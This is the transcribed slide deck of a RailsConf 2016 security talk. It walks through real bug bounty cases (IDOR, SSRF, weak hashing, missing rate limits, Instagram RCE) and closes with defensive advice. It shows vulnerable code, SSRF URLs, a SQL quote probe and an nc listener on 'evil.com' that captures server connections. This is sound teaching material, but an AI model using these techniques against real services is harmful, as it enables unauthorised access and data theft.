"...But Doesn't Rails Take Care of Security for Me?"

Rails comes with protection against SQL injection, cross site scripting, and cross site request forgery. It provides strong parameters and encrypted session cookies out of the box. What else is there to worry about? Unfortunately, security does not stop at the well-known vulnerabilities and even the most secure web framework cannot save you from everything. Let's take a deep dive into real world examples of security gone wrong!

Transcript

1. @presidentbeef
   “...But Doesn’t Rails Take
   Care of Security for Me?”
   “...But Doesn’t Rails Take
   Care of Security for Me?”
   Justin Collins
   @presidentbeef
   RailsConf 2016
   Justin Collins
   @presidentbeef
   RailsConf 2016
   

   View Slide

2. @presidentbeef
   No.
   

   View Slide

3. @presidentbeef
   Thank you!
   

   View Slide

4. @presidentbeef
   Ugh about me
   6 years of application security
   (AT&T Interactive, Twitter, SurveyMonkey)
   6 years working on Brakeman OSS
   (Static analysis security tool for Rails)
   2 years working on
   (More pro static analysis security tool for Rails)
   

   View Slide

5. @presidentbeef
   What Rails Does and Doesn’t
   

   View Slide

6. @presidentbeef
   Security Theater
   

   View Slide

7. @presidentbeef
   

   View Slide

8. @presidentbeef
   https://hackerone.com/reports/27404
   

   View Slide

9. @presidentbeef
   

   View Slide

10. @presidentbeef
    POST /accounts/18ce53wqoxd/payment_methods/handle_failed/220152
    

    View Slide

11. @presidentbeef
    POST /accounts/18ce53wqoxd/payment_methods/handle_failed/220152
    

    View Slide

12. @presidentbeef
    POST /accounts/18ce53wqoxd/payment_methods/handle_failed/220151
    

    View Slide

13. @presidentbeef
    PaymentMethod.find(params[:id]).delete
    

    View Slide

14. @presidentbeef
    “Insecure Direct Object Reference”
    “Unscoped Find”
    

    View Slide

15. @presidentbeef
    current_user.payment_methods.find(params[:id]).delete
    

    View Slide

16. @presidentbeef
    Bounty: $2,800
    

    View Slide

17. @presidentbeef
    https://randywestergren.com/united-airlines-bug-bounty-an-experience-in-reporting-a-serious-vulnerability/
    

    View Slide

18. @presidentbeef
    Proxy
    

    View Slide

19. @presidentbeef
    POST https://smartphone.continental.
    com/UnitedMobileDataServices/api/wallet/AccessWalletItemsv2
    {
    "accessCode": "'",
    "application": {
    "version": {
    "build": "",
    "displayText": "2.0.20",
    "major": "",
    "minor": ""
    },
    "name": "Android",
    "isProduction": true,
    "id": 2
    },
    "deviceID": "37556b06-66bf-40a3-9368-f13b0faa437d",
    "languageCode": "en-US",
    "mpNumber": "***REMOVED***",
    "pushToken": "***REMOVED***",
    "transactionId": "***REMOVED***",
    "backgroundRefresh": true
    }
    

    View Slide

20. @presidentbeef
    {
    "walletPNRResponse": {
    "pnrs": [
    {
    "mpNumber": "***REMOVED***",
    "recordLocator": "***REMOVED***",
    "flightDate": "12/05/2015 06:35 PM",
    "origin": "PHL",
    "originCity": "Philadelphia",
    "destination": "MCO",
    "destinationCity": "Orlando",
    "checkInStatus": "0",
    "firstName": "RANDOLPHA",
    "lastName": "WESTERGRENJR",
    "segments": [
    {
    "recordLocator": "***REMOVED***",
    "carrierCode": "UA",
    "flightNumber": "3336",
    "origin": "PHL",
    "destination": "IAD",
    "scheduledDepartureDateTime": "12/5/2015 6:35 PM",
    "scheduledArrivalDateTime": "12/5/2015 7:41 PM",
    "scheduledDepartureDateTimeGMT": "12/05/2015 11:35 PM",
    "scheduledArrivalDateTimeGMT": "12/06/2015 12:41 AM",
    "seats": "",
    "activationDateTimeGMT": "",
    "flightStatusSegment": null,
    "flightStatus": null,
    "destinationWeather": null,
    "lastUpdated": "05/27/2015 07:31 AM",
    "enableUberLinkButton": false,
    "cabin": "Coach",
    "cabinType": "United Economy"
    },
    #...
    

    View Slide

21. @presidentbeef
    {
    "walletPNRResponse": {
    "pnrs": [
    {
    "mpNumber": "***REMOVED***",
    "recordLocator": "***REMOVED***",
    "flightDate": "12/05/2015 06:35 PM",
    "origin": "PHL",
    "originCity": "Philadelphia",
    "destination": "MCO",
    "destinationCity": "Orlando",
    "checkInStatus": "0",
    "firstName": "RANDOLPHA",
    "lastName": "WESTERGRENJR",
    #...
    

    View Slide

22. @presidentbeef
    

    View Slide

23. @presidentbeef
    Bounty: $0 (Duplicate)
    

    View Slide

24. @presidentbeef
    http://www.ifc0nfig.com/dominos-pizza-and-payments/
    

    View Slide

25. @presidentbeef
    1. CC # 2. Success
    Ref #
    3. Order #
    Ref #
    

    View Slide

26. @presidentbeef
    1. CC # 2. Failure
    Ref #
    X
    

    View Slide

27. @presidentbeef
    WARNING: XML AHEAD
    

    View Slide

28. @presidentbeef
    Payment Failure Response
    
    
    NOT AUTHORISED
    VISA
    
    3340105259009953
    3340105259009953
    LIVE
    DECLINED
    7
    1449024000
    
    

    View Slide

29. @presidentbeef
    Payment Failure Response
    
    
    NOT AUTHORISED
    VISA
    
    3340105259009953
    3340105259009953
    LIVE
    SUCCESS
    1
    1449024000
    
    

    View Slide

30. @presidentbeef
    1. CC # 2. Failure
    Ref #
    X
    

    View Slide

31. @presidentbeef
    1. CC # 2. Success
    Ref #
    X
    

    View Slide

32. @presidentbeef
    1. CC # 2. Success
    Ref #
    3. Order #
    Ref #
    

    View Slide

33. @presidentbeef
    

    View Slide

34. @presidentbeef
    Lack of Server-Side Validation
    

    View Slide

35. @presidentbeef
    http://cynosureprime.blogspot.com/2015/09/how-we-cracked-millions-of-ashley.html
    

    View Slide

36. @presidentbeef
    ~36 million passwords leaked
    

    View Slide

37. @presidentbeef
    ~36 million passwords leaked
    Hashed with bcrypt (good)
    

    View Slide

38. @presidentbeef
    WARNING: PHP CODE AHEAD
    

    View Slide

39. @presidentbeef
    But...
    $password = User::encryptPassword($Values['password']);
    $loginkey = md5(strtolower($username).'::'.strtolower($password));
    

    View Slide

40. @presidentbeef
    BUT...
    $password = $Values['password'];
    $loginkey = md5(strtolower($username).'::'.strtolower($password));
    

    View Slide

41. @presidentbeef
    Also...
    md5(lc($username)."::".lc($pass).":".lc($email).":73@^bhhs@&^@8@*$")
    

    View Slide

42. @presidentbeef
    2.6 million passwords cracked
    

    View Slide

43. @presidentbeef
    2.6 million passwords cracked
    In a few hours
    

    View Slide

44. @presidentbeef
    11.7 million passwords cracked
    In a few days
    

    View Slide

45. @presidentbeef
    Weak Hashing Algorithm
    

    View Slide

46. @presidentbeef
    http://www.anandpraka.sh/2016/03/how-i-could-have-hacked-your-facebook.html
    

    View Slide

47. @presidentbeef
    

    View Slide

48. @presidentbeef
    beta.facebook.com
    

    View Slide

49. @presidentbeef
    Missing rate limit
    

    View Slide

50. @presidentbeef
    Bounty: $15,000
    

    View Slide

51. @presidentbeef
    https://hackerone.com/reports/115748
    

    View Slide

52. @presidentbeef
    

    View Slide

53. @presidentbeef
    https://imgur.com/vidgif/url?url=http://bit.ly/1e1EYJv
    

    View Slide

54. @presidentbeef
    https://imgur.com/vidgif/url?url=http://bit.ly/1e1EYJv
    Server-Side Request Forgery
    

    View Slide

55. @presidentbeef
    https://imgur.com/vidgif/url?url=sftp://bit.ly/1e1EYJv
    

    View Slide

56. @presidentbeef
    Capture Connection Strings
    evil.com:$ nc -v -l 11111
    Listening on [0.0.0.0] (family 0, port 11111)
    Connection from [54.166.236.232] port 11111 [tcp/*] accepted
    CLIENT libcurl 7.40.0
    QUIT
    

    View Slide

57. @presidentbeef
    Libcurl supports:
    SSH (scp://, sftp://)
    POP3
    IMAP
    SMTP
    FTP
    DICT
    GOPHER
    TFTP
    

    View Slide

58. @presidentbeef
    Bounty: $2,000
    

    View Slide

59. @presidentbeef
    http://exfiltrated.com/research-Instagram-RCE.php
    

    View Slide

60. @presidentbeef
    https://sensu.instagram.com/
    

    View Slide

61. @presidentbeef
    

    View Slide

62. @presidentbeef
    Rails
    App
    

    View Slide

63. @presidentbeef
    

    View Slide

64. @presidentbeef
    

    View Slide

65. @presidentbeef
    Session cookie
    is
    signed marshalled code
    

    View Slide

66. @presidentbeef
    Signing key
    =
    Remote code execution
    

    View Slide

67. @presidentbeef
    Forged
    Session
    Remote
    Shell
    

    View Slide

68. @presidentbeef
    And then things got worse...
    

    View Slide

69. @presidentbeef
    Forged
    Session
    Remote
    Shell
    

    View Slide

70. @presidentbeef
    Forged
    Session
    Remote
    Shell
    Passwords!
    

    View Slide

71. @presidentbeef
    Forged
    Session
    Remote
    Shell
    Passwords!
    Bcrypt :(
    

    View Slide

72. @presidentbeef
    Six passwords were "changeme"
    Three were same as the user's name
    Two were "password"
    One was "instagram"
    

    View Slide

73. @presidentbeef
    

    View Slide

74. @presidentbeef
    Forged
    Session
    Remote
    Shell
    

    View Slide

75. @presidentbeef
    Secret in source code
    Outdated dependencies
    Weak passwords
    Keys sitting on servers
    

    View Slide

76. @presidentbeef
    Bounty: $2,500 + A lot of drama
    

    View Slide

77. @presidentbeef
    In Summary
    Verify current user can access data/perform action
    Never trust the client - think about trust relationships
    Always use strong hashing algorithms
    Rate limit important actions
    Avoid storing secrets in source code
    Always use strong passwords
    

    View Slide

78. @presidentbeef
    More Resources
    OWASP Top 10 Web Vulnerabilities
    www.owasp.org/index.php/Top_10_2013-Top_10
    OWASP Top 10 Proactive Security Controls
    www.owasp.org/index.php/OWASP_Proactive_Controls
    RailsGoat
    https://github.com/OWASP/railsgoat
    nVisium SecCasts
    https://nvisium.com/seccasts/
    

    View Slide

79. @presidentbeef
    Things I’ll Forget to Mention
    I have stickers
    Security BoF after Jess’ talk
    I am happy to speak at companies in the SF area
    @presidentbeef | @brakeman | @brakemanpro
    

    View Slide